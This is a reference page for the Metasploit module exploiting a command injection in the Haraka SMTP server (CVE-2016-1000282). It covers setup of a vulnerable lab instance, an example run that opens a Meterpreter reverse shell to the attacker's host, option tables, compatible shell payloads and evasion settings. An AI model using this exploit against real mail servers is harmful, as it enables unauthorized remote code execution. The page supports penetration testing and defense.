Haraka SMTP Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/smtp/haraka metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Haraka SMTP Command Injection
Module: exploit/linux/smtp/haraka
Source code: modules/exploits/linux/smtp/haraka.py
Disclosure date: 2017-01-26
Last modification time: 2021-05-17 17:04:49 +0000
Supported architecture(s): x64, x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 25
List of CVEs: CVE-2016-1000282
This module is also known as Harakiri.
The Haraka SMTP server comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/smtp/haraka
msf exploit(haraka) > exploit
Required Options
- rhost: Target server
Knowledge Base
Vulnerable Application
Setup the vulnerable Haraka install by running this script on Ubuntu, Debian or similar:
#install nodejs and npm
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt install nodejs
#Haraka setup
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
tar xvzf v2.8.8.tar.gz
cd Haraka-2.8.8/
npm install npm
npm install
haraka -i haraka
cat << EOF > haraka/config/plugins
access
rcpt_to.in_host_list
data.headers
attachment
test_queue
max_unrecognized_commands
EOF
echo haraka.test >> haraka/config/host_list
# Launch haraka as root
sudo haraka -c haraka
Options
from_email
String used in the SMTP MAILFROM command
to_email
String used in the SMTP MAILTO command
lhost
The address to serve the payload from
rhost
The address or hostname to target
payload
Any compatible Metasploit payload
Example Run
msf > use exploit/linux/smtp/haraka
msf exploit(haraka) > set email_to [email protected]
email_to => [email protected]
msf exploit(haraka) > set payload linux/x64/meterpreter_reverse_http
payload => linux/x64/meterpreter_reverse_http
msf exploit(haraka) > run
[*] Started HTTP reverse handler on http://192.168.1.1:8080
[*] Exploiting...
[*] Using URL: http://192.168.1.1:8080/36CacHfIIBnBe3
[*] Sending mail to target server...
[*] http://192.168.1.1:8080 handling request from 192.168.1.2; (UUID: xoljaxxi) Redirecting stageless connection from /UJgmNdAvcM7RkNeSiIMMwg_phj2ODD0I0sgpuoWRXMCMYpHwI0ydcMlb4vVjgylZF9yr-gOpQu9aOibLROCaSBoN0tLHJRGCK0B4ZKg1aQy8LPB with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] http://192.168.1.1:8080 handling request from 192.168.1.2; (UUID: xoljaxxi) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (192.168.1.1:8080 -> 192.168.1.2:42122) at 2017-05-10 22:41:06 -0500
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Server stopped.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.2 - Meterpreter session 2 closed. Reason: User exit
msf exploit(haraka) >
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Msfconsole Usage
Here is how the linux/smtp/haraka exploit module looks in the msfconsole:
msf6 > use exploit/linux/smtp/haraka
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/smtp/haraka) > show info
Name: Haraka SMTP Command Injection
Module: exploit/linux/smtp/haraka
Platform: Linux
Arch: x64, x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-01-26
Provided by:
xychix <xychix[AT]hotmail.com>
smfreegard
Adam Cammack <adam_cammack[AT]rapid7.com>
Available targets:
Id Name
-- ----
0 linux x64
1 linux x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
email_from [email protected] yes Address to send from
email_to admin@localhost yes Email to send to, must be accepted by the server
rhost yes Target server
rport 25 yes Target server port
Payload information:
Description:
The Haraka SMTP server comes with a plugin for processing
attachments. Versions before 2.8.9 can be vulnerable to command
injection
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-1000282
https://www.exploit-db.com/exploits/41162
https://github.com/haraka/Haraka/pull/1606
Also known as:
Harakiri
Module Options
This is a complete list of options available in the linux/smtp/haraka exploit:
msf6 exploit(linux/smtp/haraka) > show options
Module options (exploit/linux/smtp/haraka):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
email_from [email protected] yes Address to send from
email_to admin@localhost yes Email to send to, must be accepted by the server
rhost yes Target server
rport 25 yes Target server port
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 linux x64
Advanced Options
Here is a complete list of advanced options supported by the linux/smtp/haraka exploit:
msf6 exploit(linux/smtp/haraka) > show advanced
Module advanced options (exploit/linux/smtp/haraka):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/smtp/haraka module can exploit:
msf6 exploit(linux/smtp/haraka) > show targets
Exploit targets:
Id Name
-- ----
0 linux x64
1 linux x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/smtp/haraka exploit:
msf6 exploit(linux/smtp/haraka) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
10 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/smtp/haraka exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/smtp/haraka) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Bug not triggered in target server
Here is a relevant code snippet related to the "Bug not triggered in target server" error message:
82: except smtplib.SMTPDataError as err:
83: if err[0] == 450:
84: module.log("Triggered bug in target server (%s)"%err[1], 'good')
85: s.close()
86: return(True)
87: module.log("Bug not triggered in target server", 'error')
88: module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
89: s.close()
90: return(False)
91:
92:
it may not be vulnerable or have the attachment plugin activated
Here is a relevant code snippet related to the "it may not be vulnerable or have the attachment plugin activated" error message:
83: if err[0] == 450:
84: module.log("Triggered bug in target server (%s)"%err[1], 'good')
85: s.close()
86: return(True)
87: module.log("Bug not triggered in target server", 'error')
88: module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
89: s.close()
90: return(False)
91:
92:
93: class InMemoryZip(object):
Go back to menu.
Related Pull Requests
- #15212 Merged Pull Request: Converts Python shebangs over to Python 3
- #12524 Merged Pull Request: Convert all python code to python3. Fixes #12506.
- #11124 Merged Pull Request: Delete unused variable
- #10570 Merged Pull Request: AKA Metadata Refactor
- #10282 Merged Pull Request: Add support for running external modules outside of
msfconsole - #10184 Merged Pull Request: Add sleepya's ETERNALBLUE exploit for Win8+ as an external module
- #10009 Merged Pull Request: Add initial check support to external modules
- #9224 Merged Pull Request: Make external module read loop more robust
- #8660 Merged Pull Request: add a few more AKA references
- #8346 Merged Pull Request: move external module template to an ERB, allowing for more templates to be added
- #8307 Merged Pull Request: Add a shim lib for external modules
- #8257 Merged Pull Request: Exception handling typo fix - exploits/linux/smtp/haraka.py
- #8178 Merged Pull Request: Add support for non-Ruby modules
References
See Also
Check also the following modules related to this module:
- exploit/linux/smtp/apache_james_exec
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/unix/smtp/clamav_milter_blackhole
- exploit/unix/smtp/exim4_string_format
- exploit/unix/smtp/morris_sendmail_debug
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/ms03_046_exchange2000_xexch50
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/sysgauge_client_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
- auxiliary/client/smtp/emailer
- auxiliary/dos/smtp/sendmail_prescan
- auxiliary/dos/windows/smtp/ms06_019_exchange
- auxiliary/fuzzers/smtp/smtp_fuzzer
- auxiliary/scanner/smtp/smtp_enum
- auxiliary/scanner/smtp/smtp_ntlm_domain
- auxiliary/scanner/smtp/smtp_relay
- auxiliary/scanner/smtp/smtp_version
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/server/capture/smtp
- exploit/unix/local/opensmtpd_oob_read_lpe
Authors
- xychix <xychix[AT]hotmail.com>
- smfreegard
- Adam Cammack <adam_cammack[AT]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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